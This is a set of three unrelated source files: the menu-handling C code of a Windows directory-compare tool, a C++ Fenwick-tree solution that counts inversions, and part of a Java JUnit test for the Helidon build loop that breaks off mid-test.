MENUITEM "&Ignore File Times", IDM_OPTIGNOREDT MENUITEM SEPARATOR MENUITEM "Re&cursive", IDM_RECURSIVE MENUITEM "E&xclude per List", IDM_OPTEXCLUDE MENUITEM "Exclude &File", IDM_EXCLUDE MENUITEM SEPARATOR MENUITEM "Sh&ow Row Numbers", IDM_OPTADDROW, CHECKED MENUITEM "&Warn on Next Find\tCtrl+W", IDM_WARNING MENUITEM "Show &Tool Tip", IDM_SHOWTOOLTIP MENUITEM "&Show Copy Dialog", IDM_SHOWCOPY MENUITEM "&Preferences...", IDM_PREFERENCES MENUITEM "&Enable *** DELETE ***", IDM_ENABLEDELETE END POPUP "&Help" BEGIN MENUITEM "&About...\tCtrl+H", IDM_ABOUT MENUITEM "Brief Help...\tAlt+?", ID_HELP_BRIEFHELP END END ============================== */ BOOL IsViewExpBoth( VOID ) { BOOL bRet = FALSE; if( ( view_isexpanded( current_view ) ) && ( expand_mode == IDM_BOTHFILES ) ) { bRet = TRUE; } return bRet; } /////////////////////////////////////////////////////////////////////////////// // FUNCTION : IsViewExpFile // Return type: BOOL // Argument : VOID // Description: // // NOTE: The function complist_isfiles( cl ) only advise IF the original entry // were both files, rather than directories! /////////////////////////////////////////////////////////////////////////////// BOOL IsViewExpFile( VOID ) { BOOL bRet = FALSE; COMPLIST cl = view_getcomplist( current_view ); if( ( cl ) && ( IsViewExpBoth() ) && ( view_haschange( current_view, FALSE ) ) ) { bRet = TRUE; } return bRet; } typedef struct tagCMD2STG { LPTSTR pstg; UINT uid; }CMD2STG, * PCMD2STG; CMD2STG sCmd2Stg[] = { //IDR_MENU1 MENU DISCARDABLE //BEGIN // POPUP "&File" // BEGIN { "Compare &Directories...", IDM_DIR }, { "&Next in List", IDM_NEXTINLIST }, { "Select TWO &Files ...", IDM_FILE }, // { SEPARATOR { "&Abort", IDM_ABORT }, // { SEPARATOR { "&Save File List...", IDM_SAVELIST }, { "&Write Difference...", IDM_WRITEDIFF }, { "C&opy Files...", IDM_COPYFILES }, { "&Update Now\tAlt+U", IDM_FILECOPY }, // { SEPARATOR { "&Print", IDM_PRINT }, // { SEPARATOR { "E&xit", IDM_EXIT }, // END // POPUP "&Edit" // BEGIN { "Edit &Left File", IDM_EDITLEFT }, { "Edit &Right File", IDM_EDITRIGHT }, { "Edit &Composite File", IDM_EDITCOMP }, // { SEPARATOR { "&Set Editor...", IDM_SETEDIT }, { "&Edit Exclude List ...", IDM_EDITEXCLUDE }, // END // POPUP "&View" // BEGIN { "&Outline", IDM_OUTLINE }, { "&Expand", IDM_EXPAND }, // { SEPARATOR { "Show &Picture Bar\tAlt+P", IDM_PICTURE }, { "Bottom Status Bar", IDM_ADDSTATUS }, // { SEPARATOR { "&Previous Change\tF3", IDM_FPCHANGE }, { "&Next Change\tF4", IDM_FCHANGE }, // { SEPARATOR { "Expand Next &File\tF5", IDM_VIEW_NEXT }, { "&Reverse L/R", IDM_REVERSE }, { "R&efresh Display", IDM_REFRESH }, // POPUP "&List View Control" // BEGIN { "&Off", IDM_LISTVIEWOFF }, { "&50%", IDM_LISTVIEW50 }, { "&100%", IDM_LISTVIEW100 }, // END // END // POPUP "Ex&pand" // BEGIN { "Le&ft File Only\tAlt+L", IDM_LONLY }, { "Rig&ht File Only\tAlt+R", IDM_RONLY }, { "B&oth Files\tAlt+B", IDM_BOTHFILES }, // { SEPARATOR { "&Left Line Numbers", IDM_LNRS }, { "&Right Line Numbers", IDM_RNRS }, { "&No Line Numbers", IDM_NONRS }, { "Show E&qal Line", IDM_SHOWSAME }, { "Show &Moved Lines", IDM_SHOWMOVE }, { "Add &Tags", IDM_SHOWTAG }, { "Ignore &Blanks", IDM_IGNBLANKS }, { "Ignore EOL", IDM_IGNOREEOL }, { "Ignore &Case", IDM_IGNCASE }, // END // POPUP "&Options" // BEGIN { "Show &Identical Files\tCtrl+I", IDM_INCSAME }, { "Show &Left-Only Files\tCtrl+L", IDM_INCLEFT }, { "Show &Right-Only Files\tCtrl+R", IDM_INCRIGHT }, { "Show All &Different", IDM_DIFFALL }, { "Show &Newer Files\tCtrl+N", IDM_NEWER }, { "Show &Older Files\tCtrl+O", IDM_OLDER }, // { SEPARATOR { "&Full File Compare", IDM_OPTEXACT }, { "Ignore &Blanks", IDM_IGNBLANKS }, { "&Ignore File Time", IDM_OPTIGNOREDT }, // { SEPARATOR { "Re&cursive", IDM_RECURSIVE }, { "E&xclude per List", IDM_OPTEXCLUDE }, // { SEPARATOR { "Sh&ow Row Numbers", IDM_OPTADDROW }, { "&Warn on Next Find\tCtrl+W", IDM_WARNING }, { "Show &Tool Tip", IDM_SHOWTOOLTIP }, { "&Show Copy Dialog", IDM_SHOWCOPY }, { "&Preferences...", IDM_PREFERENCES }, { "&Enable *** DELETE ***", IDM_ENABLEDELETE }, // END // POPUP "&Help" // BEGIN { "&About...Ctrl+H", IDM_ABOUT }, // END //END // *** last record *** { 0, 0 } }; LPTSTR Cmd2Stg( UINT uid ) { PCMD2STG pc = &sCmd2Stg[0]; while( pc->pstg ) { if( pc->uid == uid ) break; pc++; } return pc->pstg; } #undef ADDMENUMOD BOOL g_bDbgPOP = FALSE; #define mf_Enab (MF_BYCOMMAND | MF_ENABLED) #define mf_Disab (MF_BYCOMMAND | MF_DISABLED | MF_GRAYED) #define EMI(a,b) EnableMenuItem(hMenu, a, ((b) ? mf_Enab : mf_Disab)) #define CMI(a,b) CheckMenuItem(hMenu, a, ((b) ? MF_CHECKED : MF_UNCHECKED) ) #define IsExpanded view_isexpanded( current_view ) BOOL HaveGotUpdate( VOID ) { INT icnt = view_getrowcount(current_view); INT itot = view_gettotcount(current_view); if( icnt && itot ) return TRUE; return FALSE; } BOOL Got_Sel_File( LPTSTR lpb ) { extern BOOL Get_Sel_File_Stg( LPTSTR lpb, COMPITEM ci ); COMPITEM ci = view_getitem( current_view, giSelection ); if(ci) { // get CURRENT SELECTION if( Get_Sel_File_Stg( lpb, ci ) ) { return TRUE; } } return FALSE; } long Do_WM_INITMENUPOPUP( HWND hWnd, WPARAM wParam, LPARAM lParam ) { long lRet = 0; HMENU hMenu = (HMENU)wParam; DWORD dwPos = LOWORD(lParam); BOOL bSys = HIWORD(lParam); COMPLIST cl = 0; DWORD dwo = outline_include; //UINT ui1, ui2, ui3; LPTSTR lps; LPTSTR lpb = &gszTmpBuf[0]; BOOL bEnab; LPTSTR lpb2 = &gszTmpBuf2[0]; if( bSys ) { // is the windows (system) menu lRet = 1; // use default processing } else { // it is MY menu if( g_bDbgPOP ) { sprtf( "Do_WM_INITMENUPOPUP: For Pos=%d (%s)."MEOR, dwPos, ( (dwPos == MENU_FILE) ? "MENU_FILE" : (dwPos == MENU_EDIT) ? "MENU_EDIT" : (dwPos == MENU_VIEW) ? "MENU_VIEW" : (dwPos == MENU_EXPAND) ? "MENU_EXPAND" : (dwPos == MENU_OPTIONS) ? "MENU_OPTIONS" : (dwPos == MENU_ABOUT) ? "MENU_ABOUT" : "MENU_UNKNOWN" ) ); } switch( dwPos ) { case MENU_FILE: { BOOL bZip = view_haszip(current_view); cl = view_getcomplist(current_view); if( current_view && cl ) bSys = TRUE; else bSys = FALSE; EMI( IDM_SAVELIST, bSys ); if( bZip ) { // *** TBD *** Expand zip data to a file in an indicated directory // Compress to zip, and ADD update into zip *** TBD *** EMI( IDM_COPYFILES, FALSE ); EMI( IDM_FILECOPY, FALSE ); // immediate no dialog update } else // NOT ZIP - we can do a LOTS { EMI( IDM_COPYFILES, bSys ); #ifdef ADDMENUMOD if(bSys) { lps = "C&opy Files..."; if( ( IsExpanded ) && ( gszLeftName[0] ) ) { // LPTSTR lpb = &gszTmpBuf[0]; // LPTSTR lpb2 = &gszTmpBuf2[0]; *lpb2 = 0; compitem_retrelname( lpb2, ci ); if( ( lpb2[0] == '.' ) && ( lpb2[1] == '\\' ) ) { strcpy( lpb, &gszLeftName[0] ); strcat( lpb, &lpb2[1] ); if( dir_isvalidfile(lpb) ) { sprintf(lpb, "C&opy %s", &lpb2[2]); lps = lpb; } } } ModifyMenu( hMenu, // handle to menu IDM_COPYFILES, // menu item to modify (MF_BYCOMMAND | MF_STRING), // options IDM_COPYFILES, // identifier, menu, or submenu lps ); // menu item content } #endif //#ifdef ADDMENUMOD EMI( IDM_FILECOPY, HaveGotUpdate() ); // if we have file count(s) // this depends on the left and right list of files, // but also on which 'display/view' options are on } EMI( IDM_WRITEDIFF, (bSys && view_haschange( current_view, FALSE )) ); EMI( IDM_DELETELEFTFILE, Can_Delete_Left_File() ); } break; case MENU_EDIT: break; case MENU_VIEW: if( !current_view ) { // both are invalid EMI( IDM_OUTLINE, FALSE); EMI( IDM_EXPAND, FALSE); EMI( IDM_FPCHANGE, FALSE); EMI( IDM_FCHANGE, FALSE); EMI( IDM_VIEW_NEXT, FALSE); } else if( view_isexpanded(current_view) ) { // back to outline is ok EMI( IDM_OUTLINE, TRUE ); EMI( IDM_EXPAND, FALSE); EMI( IDM_FPCHANGE, TRUE); EMI( IDM_FCHANGE, TRUE); EMI( IDM_VIEW_NEXT, TRUE); } else // it is NOT expanded { EMI( IDM_OUTLINE, FALSE); // so no to outline if( giSelection < 0 ) // and can only expand if a selection EMI( IDM_EXPAND, FALSE ); else EMI( IDM_EXPAND, TRUE ); EMI( IDM_FPCHANGE, FALSE); EMI( IDM_FCHANGE, FALSE); EMI( IDM_VIEW_NEXT, FALSE); } //CMI( IDM_ADDSTATUS, gbAddS ); CMI( IDM_ADDSTATUS, ( !g_sSB.sb_bHidden ) ); // MENUITEM "&Use Exclude List", CMI( IDM_USEEXCLUDE, gbExclude ); // Exclude per one of the lists CMI( IDM_OPTALTDISPLAY, gbSimple ); // check, if using alternate display info #ifdef ADD_LIST_VIEW // ======================================================= // POPUP "&List View Control" // BEGIN // MENUITEM "&Off", IDM_LISTVIEWOFF if(g_hListView) lps = "&On. To Hide"; // menu item content else lps = "&Off. To Show"; ModifyMenu( hMenu, // handle to menu IDM_LISTVIEWOFF, // menu item to modify (MF_BYCOMMAND | MF_STRING), // options IDM_LISTVIEWOFF, // identifier, menu, or submenu lps ); // menu item content CMI( IDM_LISTVIEWOFF, g_hListView ); if(g_hListView) { // MENUITEM "&50%", IDM_LISTVIEW50 // MENUITEM "&100%", IDM_LISTVIEW100 if( g_bIn5050 ) { EMI(IDM_LISTVIEW50, FALSE ); EMI(IDM_LISTVIEW100, TRUE ); } else { EMI(IDM_LISTVIEW50, TRUE ); EMI(IDM_LISTVIEW100, FALSE); } // END } else { EMI(IDM_LISTVIEW50, FALSE ); EMI(IDM_LISTVIEW100, FALSE); } #endif // #ifdef ADD_LIST_VIEW // ID_VIEW_NOEXCLUDES - section [Exclude] // { szXcl, szNoEx, it_Bool, &bNoExcludes, &bChgNoExcl, CMI( ID_VIEW_NOEXCLUDES, bNoExcludes ); // CMI( IDM_EXCLUDEREPOS, gbXAllRepos ); // FIX20090811 - exclude repos dirs IDM_EXCLUDEREPOS break; case MENU_EXPAND: // could switch(expand_mode) { case IDM_LONLY: // but maybe - CMI( IDM_LONLY, FALSE ); CMI( IDM_RONLY, FALSE ); CMI( IDM_BOTHFILES, FALSE ); CMI( expand_mode, TRUE ); // { "&Left Line Numbers", IDM_LNRS }, // { "&Right Line Numbers", IDM_RNRS }, // { "&No Line Numbers", IDM_NONRS }, // case IDM_NONRS: // this is a display toggle //TCHAR szShwNums[] = "ShowLineNumbers"; // CMI( IDM_NONRS, gbShowNums ); CMI( IDM_NONRS, ( gdwDiffOpts & INCLUDE_LINENUMS ) ); CMI( IDM_LNRS, ( !gbUseRight ) ); CMI( IDM_RNRS, gbUseRight ); //TCHAR szUseRt[] = "UseRightNumbers"; // just the source of the number - if abv ON // #define gbUseRight sFW.fw_bUseRight CMI( IDM_SHOWSAME, ( gdwDiffOpts & INCLUDE_SAME ) ); // include / exclude SAME CMI( IDM_SHOWMOVE, ( gdwDiffOpts & INC_ALLMOVE ) ); // include / exclude MOVED CMI( IDM_SHOWTAG, ( gdwDiffOpts & INCLUDE_TAGS ) ); // include 'tag' text // so can not have if( !( gdwDiffOpts & INCLUDE_TAGS ) ) cell++; // no tags if( gdwDiffOpts & INCLUDE_LINENUMS ) // we have LINE NUMBERS EMI( IDM_SHOWTAG, FALSE); else EMI( IDM_SHOWTAG, TRUE); // NOTE: both these effect the hash code generated for a string // which is the fast primary compare of two lines from two folders // If these match, then the program STILL does a TCHAR by TCHAR // compare of the left file line, and right file line ... // *** TBD *** not here, but must gather line comare stats, and // present information to viewer of the compare. green on bits that match // =============== ******** =========== CMI( IDM_IGNBLANKS, ignore_blanks ); CMI( IDM_IGNOREEOL, gbIgnEOL ); CMI( IDM_IGNCASE, gbIgnCase ); break; case MENU_OPTIONS: // *** TBD ** This should depend on whether the display is OUTLINE // then these are correct ... but should be show line options // when the view is expanded. The missing stuff is // implemented very by Beyond Compare well in their 'expanded' mode. // *** TBD *** to be able to hide/display line(s) in expanded mode // POPUP "&Options" // BEGIN // MENUITEM "Show &Identical Files\tCtrl+I", IDM_INCSAME CMI( IDM_INCSAME, (dwo & INCLUDE_SAME) ); // MENUITEM "Show &Left-Only Files\tCtrl+L", IDM_INCLEFT CMI( IDM_INCLEFT, (dwo & INCLUDE_LEFTONLY) ); // MENUITEM "Show &Right-Only Files\tCtrl+R", IDM_INCRIGHT CMI( IDM_INCRIGHT, (dwo & INCLUDE_RIGHTONLY) ); // MENUITEM "Show All &Different", IDM_DIFFALL // CMI( IDM_INCDIFFER, (dwo & INCLUDE_DIFFER) ); // CMI( IDM_DIFFALL, ((dwo & (INCLUDE_NEWER|INCLUDE_OLDER)) == (INCLUDE_NEWER|INCLUDE_OLDER)) ); CMI( IDM_DIFFALL, ShowingAll(dwo) ); // MENUITEM "Full Path Name", ID_FILELISTOPTIONS_FULLPATHNAME // MENUITEM "Relative Name", ID_FILELISTOPTIONS_RELATIVENAME // MENUITEM "File Title Only", ID_FILELISTOPTIONS_FILETITLEONLY if( gdwFileOpts & FULL_NAMES ) { CMI(ID_FILELISTOPTIONS_FULLPATHNAME, TRUE); CMI(ID_FILELISTOPTIONS_FILETITLEONLY, FALSE); CMI(ID_FILELISTOPTIONS_RELATIVENAME, FALSE); } else if( gdwFileOpts & ADD_REL_PATH ) { CMI(ID_FILELISTOPTIONS_FULLPATHNAME, FALSE); CMI(ID_FILELISTOPTIONS_FILETITLEONLY, TRUE); CMI(ID_FILELISTOPTIONS_RELATIVENAME, FALSE); } else { CMI(ID_FILELISTOPTIONS_FULLPATHNAME, FALSE); CMI(ID_FILELISTOPTIONS_FILETITLEONLY, FALSE); CMI(ID_FILELISTOPTIONS_RELATIVENAME, TRUE); } // MENUITEM "Show &Newer Files\tCtrl+N", IDM_NEWER // MENUITEM "Show &Older Files\tCtrl+O", IDM_OLDER CMI( IDM_NEWER, (dwo & INCLUDE_NEWER) ); CMI( IDM_OLDER, (dwo & INCLUDE_OLDER) ); // MENUITEM SEPARATOR // MENUITEM "&Full File Compare", IDM_OPTEXACT CMI( IDM_OPTEXACT, gbExact ); //CMI( IDM_OPTADDROW, gbAddRow ); CMI( IDM_OPTADDROW, ((gdwFileOpts & INCLUDE_LINENUMS) ? TRUE : FALSE) ); // MENUITEM "Ignore &Blanks", IDM_IGNBLANKS CMI( IDM_IGNBLANKS, ignore_blanks ); CMI( IDM_OPTIGNOREDT, gbIgnDT ); // MENUITEM SEPARATOR // MENUITEM "Re&cursive", IDM_RECURSIVE #ifndef USE_GLOBAL_RECURSIVE // FIX20091125 CMI( IDM_RECURSIVE, gbRecur ); #else // #ifndef USE_GLOBAL_RECURSIVE CMI( IDM_RECURSIVE, (g_bNOTRecursive ? FALSE : TRUE) ); // FIX20091125 #endif // #ifndef USE_GLOBAL_RECURSIVE // MENUITEM "E&xclude per List", IDM_OPTEXCLUDE CMI( IDM_OPTEXCLUDE, gbExclude ); // MENUITEM "Exclude &File", IDM_EXCLUDE *lpb = 0; bEnab = Got_Sel_File( lpb ); if(bEnab) { //lps = "Exclude &File [%s]"; // menu item content strcpy(lpb2,"Exclude &File "); sprintf(EndBuf(lpb2),"[%s]",lpb); lps = lpb2; } else { lps = "Exclude &File Off"; } ModifyMenu( hMenu, // handle to menu IDM_EXCLUDE, // menu item to modify (MF_BYCOMMAND | MF_STRING), // options IDM_EXCLUDE, // identifier, menu, or submenu lps ); // menu item content EMI( IDM_EXCLUDE, bEnab ); // MENUITEM SEPARATOR // MENUITEM "&Warn on Next Find\tCtrl+W", IDM_WARNING CMI( IDM_WARNING, gbWarn ); // MENUITEM "Show &Tool Tip", IDM_SHOWTOOLTIP CMI( IDM_EXCLUDEREPOS, gbXAllRepos ); // FIX20090811 - exclude repos dirs IDM_EXCLUDEREPOS // END if( g_hwndTT ) { CMI( IDM_SHOWTOOLTIP, !gbNoTT ); } else { EMI( IDM_SHOWTOOLTIP, FALSE ); } if( g_dwviewedcnt ) EMI( IDM_CLEARVIEWED, TRUE ); else EMI( IDM_CLEARVIEWED, FALSE); // MENUITEM "&Show Copy Dialog", IDM_SHOWCOPY // MENUITEM "&Preferences...", IDM_PREFERENCES // MENUITEM "&Enable *** DELETE ***", IDM_ENABLEDELETE if( gbDelOn ) lps = "On. &Disable Delete"; // menu item content else lps = "&Enable *** DELETE ***"; ModifyMenu( hMenu, // handle to menu IDM_ENABLEDELETE, // menu item to modify (MF_BYCOMMAND | MF_STRING), // options IDM_ENABLEDELETE, // identifier, menu, or submenu lps ); // menu item content CMI( IDM_ENABLEDELETE, gbDelOn ); // check break; case MENU_ABOUT: break; } } return lRet; } // eof - dc4wMenu.c
anirudha-ani/NSU-Problem-Solver
2016 Long Contest for NSU and KUET - 2 ( BIT episode 1 )/K - Inversion Count.cpp
#include <iostream> #include <cstdio> #include <algorithm> #include <vector> #include <cmath> using namespace std; void update(vector<int> *data , int index ,int value) { while(index < data->size()) { data->at(index) += value; index += ((index) & (-index)); } } int query(vector <int> *data , int index) { int sum = 0; while(index > 0) { sum += data->at(index); index -= ((index) & (-index)); } return sum; } int main() { int T,input_no , input_taking , max_size; long long int answer; scanf("%d", &T); for(int i = 0 ; i < T ; i++) { scanf("%d", &input_no); max_size = 0; answer = 0; vector<int> inputs; for(int j = 0 ; j < input_no ; j++) { scanf("%d" , &input_taking); max_size = max(input_taking , max_size); inputs.push_back(input_taking); } //cout << "Here" << endl; vector <int> data(max_size+4 , 0); //cout << "Here" << endl; for(int j = 0 ; j < input_no ; j++) { //cout << "Query = " << query_ans << " J = "<<j <<"Inputs = " << inputs[j-1]<<endl; answer += (j- query(&data , inputs[j]-1)); //cout << "Answer = " << answer << endl; update(&data , inputs[j] , 1); } printf("%lld\n", answer); } return 0; }
aserkes/helidon-build-tools
dev-loop/src/test/java/io/helidon/build/dev/BuildLoopTest.java
<reponame>aserkes/helidon-build-tools /* * Copyright (c) 2020 Oracle and/or its affiliates. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.helidon.build.dev; import java.io.IOException; import java.io.UncheckedIOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.attribute.FileTime; import java.util.List; import java.util.concurrent.atomic.AtomicInteger; import java.util.concurrent.atomic.AtomicReference; import io.helidon.build.dev.maven.MavenProjectSupplier; import io.helidon.build.util.FileUtils; import io.helidon.build.util.Log; import org.junit.jupiter.api.Disabled; import org.junit.jupiter.api.Test; import static io.helidon.build.dev.TestUtils.newLoop; import static io.helidon.build.test.TestFiles.helidonSeProject; import static io.helidon.build.test.TestFiles.helidonSeProjectCopy; import static io.helidon.build.util.FileUtils.touch; import static io.helidon.build.util.FileUtils.assertFile; import static io.helidon.build.util.FileUtils.lastModifiedTime; import static io.helidon.build.util.TestUtils.pathOf; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.endsWith; import static org.hamcrest.Matchers.is; import static org.hamcrest.Matchers.lessThan; import static org.hamcrest.Matchers.not; import static org.hamcrest.Matchers.notNullValue; import static org.hamcrest.Matchers.nullValue; /** * Unit test for class {@link BuildLoop}. */ class BuildLoopTest { private static final String VALID_JAVA_PUBLIC_CLASS_PREFIX = "public class "; private static final String INVALID_JAVA_PUBLIC_CLASS_PREFIX = "not so much a class "; private Path pomFile; private Path javaFile; private Path resourceFile; private Path newSeProject(boolean willModify) { final Path rootDir = willModify ? helidonSeProjectCopy() : helidonSeProject(); pomFile = assertFile(rootDir.resolve("pom.xml")); javaFile = assertFile(rootDir.resolve("src/main/java/io/helidon/examples/se/GreetService.java")); resourceFile = assertFile(rootDir.resolve("src/main/resources/application.yaml")); return rootDir; } private static void touchFile(Path file) { wait(file, "touching"); touch(file); } private static void wait(Path file, String operation) { Path fileName = file.getFileName(); FileTime lastMod = lastModifiedTime(file); Log.info("sleeping 1.25 seconds before %s %s, mod time is %s", operation, fileName, lastMod); try { Thread.sleep(1250); } catch (InterruptedException e) { throw new RuntimeException(e); } } private static FileTime lastModified(Path file) { FileTime result = lastModifiedTime(file); Log.info("%s mod time is %s", file.getFileName(), result); return result; } private static FileTime breakJava(Path javaFile) { wait(javaFile, "BREAKING"); return changeJava(javaFile, VALID_JAVA_PUBLIC_CLASS_PREFIX, INVALID_JAVA_PUBLIC_CLASS_PREFIX); } private static FileTime fixJava(Path javaFile) { wait(javaFile, "FIXING"); return changeJava(javaFile, INVALID_JAVA_PUBLIC_CLASS_PREFIX, VALID_JAVA_PUBLIC_CLASS_PREFIX); } private static FileTime changeJava(Path javaFile, String existing, String replacement) { try { final String source = Files.readString(javaFile); final String brokenSource = source.replace(existing, replacement); Files.writeString(javaFile, brokenSource); return lastModified(javaFile); } catch (IOException e) { throw new UncheckedIOException(e); } } @Test void testSeUpToDate() throws Exception { final Path rootDir = newSeProject(false); final BuildLoop loop = TestUtils.newLoop(rootDir, false, false, 1); final TestMonitor monitor = TestUtils.run(loop); final Project project = loop.project(); assertThat(project, is(not(nullValue()))); assertThat(monitor.started(), is(true)); assertThat(monitor.stopped(), is(true)); assertThat(monitor.lastCycle(), is(1)); assertThat(monitor.cycleStart(0), is(true)); assertThat(monitor.changed(0), is(false)); assertThat(monitor.changeType(0), is(nullValue())); assertThat(monitor.buildStart(0), is(false)); assertThat(monitor.buildType(0), is(nullValue())); assertThat(monitor.buildFailed(0), is(nullValue())); assertThat(monitor.ready(0), is(true)); assertThat(monitor.cycleEnd(0), is(true)); assertThat(monitor.cycleStart(1), is(true)); assertThat(monitor.changed(1), is(false)); assertThat(monitor.changeType(1), is(nullValue())); assertThat(monitor.buildStart(1), is(false)); assertThat(monitor.buildType(1), is(nullValue())); assertThat(monitor.buildFailed(1), is(nullValue())); assertThat(monitor.ready(1), is(false)); assertThat(monitor.cycleEnd(1), is(true)); final List<BuildComponent> components = project.components(); assertThat(components, is(not(nullValue()))); assertThat(components.isEmpty(), is(false)); assertThat(pathOf(components.get(0).outputRoot().path()), endsWith("target/classes")); final BuildRoot classes = components.get(0).outputRoot(); final BuildFile mainClass = classes.findFirstNamed(name -> name.equals("Main.class")); assertThat(mainClass.hasChanged(), is(false)); assertThat(mainClass.hasChanged(), is(false)); } @Test void testSeCleanInitialBuild() throws Exception { final Path rootDir = newSeProject(true); final BuildLoop loop = TestUtils.newLoop(rootDir, true, false, 1); final TestMonitor monitor = TestUtils.run(loop); final Project project = loop.project(); assertThat(project, is(not(nullValue()))); assertThat(monitor.started(), is(true)); assertThat(monitor.stopped(), is(true)); assertThat(monitor.lastCycle(), is(1)); assertThat(monitor.cycleStart(0), is(true)); assertThat(monitor.changed(0), is(false)); assertThat(monitor.changeType(0), is(nullValue())); assertThat(monitor.buildStart(0), is(true)); assertThat(monitor.buildType(0), is(BuildType.ForkedCleanComplete)); assertThat(monitor.buildFailed(0), is(nullValue())); assertThat(monitor.ready(0), is(true)); assertThat(monitor.cycleEnd(0), is(true)); assertThat(monitor.cycleStart(1), is(true)); assertThat(monitor.changed(1), is(false)); assertThat(monitor.changeType(1), is(nullValue())); assertThat(monitor.buildStart(1), is(false)); assertThat(monitor.buildType(1), is(nullValue())); assertThat(monitor.buildFailed(1), is(nullValue())); assertThat(monitor.ready(1), is(false)); assertThat(monitor.cycleEnd(1), is(true)); final List<BuildComponent> components = project.components(); assertThat(components, is(not(nullValue()))); assertThat(components.isEmpty(), is(false)); assertThat(pathOf(components.get(0).outputRoot().path()), endsWith("target/classes")); final BuildRoot classes = components.get(0).outputRoot(); final BuildFile mainClass = classes.findFirstNamed(name -> name.equals("Main.class")); assertThat(mainClass.hasChanged(), is(false)); assertThat(mainClass.hasChanged(), is(false)); final String allOutput = String.join(" ", monitor.outputAsString()); assertThat(allOutput, containsString("Changes detected - recompiling the module!")); } @Test void testSeSourceChangeWhileRunning() throws Exception { final Path rootDir = newSeProject(true); final AtomicInteger sourceFilesTouched = new AtomicInteger(); final TestMonitor monitor = new TestMonitor(3) { @Override public void onCycleStart(int cycleNumber) { super.onCycleStart(cycleNumber); if (cycleNumber == 2) { touchFile(javaFile); sourceFilesTouched.incrementAndGet(); } } }; final BuildLoop loop = newLoop(rootDir, false, false, monitor); TestUtils.run(loop); final Project project = loop.project(); assertThat(project, is(not(nullValue()))); assertThat(monitor.started(), is(true)); assertThat(monitor.stopped(), is(true)); assertThat(monitor.lastCycle(), is(3)); assertThat(monitor.cycleStart(0), is(true)); assertThat(monitor.changed(0), is(false)); assertThat(monitor.changeType(0), is(nullValue())); assertThat(monitor.buildStart(0), is(false)); assertThat(monitor.buildType(0), is(nullValue())); assertThat(monitor.buildFailed(0), is(nullValue())); assertThat(monitor.ready(0), is(true)); assertThat(monitor.cycleEnd(0), is(true)); assertThat(monitor.cycleStart(1), is(true)); assertThat(monitor.changed(1), is(false)); assertThat(monitor.changeType(1), is(nullValue())); assertThat(monitor.buildStart(1), is(false)); assertThat(monitor.buildType(1), is(nullValue())); assertThat(monitor.buildFailed(1), is(nullValue())); assertThat(monitor.ready(1), is(false)); assertThat(monitor.cycleEnd(1), is(true)); assertThat(monitor.cycleStart(2), is(true)); assertThat(monitor.changed(2), is(true)); assertThat(monitor.changeType(2), is(ChangeType.SourceFile)); assertThat(monitor.buildStart(2), is(true)); assertThat(monitor.buildType(2), is(BuildType.Incremental)); assertThat(monitor.buildFailed(2), is(nullValue())); assertThat(monitor.ready(2), is(true)); assertThat(monitor.cycleEnd(2), is(true)); assertThat(monitor.cycleStart(3), is(true)); assertThat(monitor.changed(3), is(false)); assertThat(monitor.changeType(3), is(nullValue())); assertThat(monitor.buildStart(3), is(false)); assertThat(monitor.buildType(3), is(nullValue())); assertThat(monitor.buildFailed(3), is(nullValue())); assertThat(monitor.ready(3), is(false)); assertThat(monitor.cycleEnd(3), is(true)); final String allOutput = String.join(" ", monitor.outputAsString()); assertThat(allOutput, containsString("Compiling " + sourceFilesTouched.get() + " source file")); } @Test void testSeResourceChangeWhileRunning() throws Exception { final Path rootDir = newSeProject(true); final AtomicInteger resourceFilesTouched = new AtomicInteger(); final TestMonitor monitor = new TestMonitor(3) { @Override public void onCycleStart(int cycleNumber) { super.onCycleStart(cycleNumber); if (cycleNumber == 2) { touch(resourceFile); resourceFilesTouched.incrementAndGet(); } } }; final BuildLoop loop = newLoop(rootDir, false, false, monitor); TestUtils.run(loop); final Project project = loop.project(); assertThat(project, is(not(nullValue()))); assertThat(monitor.started(), is(true)); assertThat(monitor.stopped(), is(true)); assertThat(monitor.lastCycle(), is(3)); assertThat(monitor.cycleStart(0), is(true)); assertThat(monitor.changed(0), is(false)); assertThat(monitor.changeType(0), is(nullValue())); assertThat(monitor.buildStart(0), is(false)); assertThat(monitor.buildType(0), is(nullValue())); assertThat(monitor.buildFailed(0), is(nullValue())); assertThat(monitor.ready(0), is(true)); assertThat(monitor.cycleEnd(0), is(true)); assertThat(monitor.cycleStart(1), is(true)); assertThat(monitor.changed(1), is(false)); assertThat(monitor.changeType(1), is(nullValue())); assertThat(monitor.buildStart(1), is(false)); assertThat(monitor.buildType(1), is(nullValue())); assertThat(monitor.buildFailed(1), is(nullValue())); assertThat(monitor.ready(1), is(false)); assertThat(monitor.cycleEnd(1), is(true)); assertThat(monitor.cycleStart(2), is(true)); assertThat(monitor.changed(2), is(true)); assertThat(monitor.changeType(2), is(ChangeType.SourceFile)); assertThat(monitor.buildStart(2), is(true)); assertThat(monitor.buildType(2), is(BuildType.Incremental)); assertThat(monitor.buildFailed(2), is(nullValue())); assertThat(monitor.ready(2), is(true)); assertThat(monitor.cycleEnd(2), is(true)); assertThat(monitor.cycleStart(3), is(true)); assertThat(monitor.changed(3), is(false)); assertThat(monitor.changeType(3), is(nullValue())); assertThat(monitor.buildStart(3), is(false)); assertThat(monitor.buildType(3), is(nullValue())); assertThat(monitor.buildFailed(3), is(nullValue())); assertThat(monitor.ready(3), is(false)); assertThat(monitor.cycleEnd(3), is(true)); final String allOutput = String.join(" ", monitor.outputAsString()); assertThat(allOutput, containsString("Copying " + resourceFilesTouched.get() + " resource files")); } @Test void testSePomFileChangeWhileRunning() throws Exception { final Path rootDir = newSeProject(true); final TestMonitor monitor = new TestMonitor(3) { @Override public void onCycleStart(int cycleNumber) { super.onCycleStart(cycleNumber); if (cycleNumber == 2) { touchFile(pomFile); } } }; final BuildLoop loop = newLoop(rootDir, false, false, monitor); TestUtils.run(loop); final Project project = loop.project(); assertThat(project, is(not(nullValue()))); assertThat(monitor.started(), is(true)); assertThat(monitor.stopped(), is(true)); assertThat(monitor.lastCycle(), is(3)); 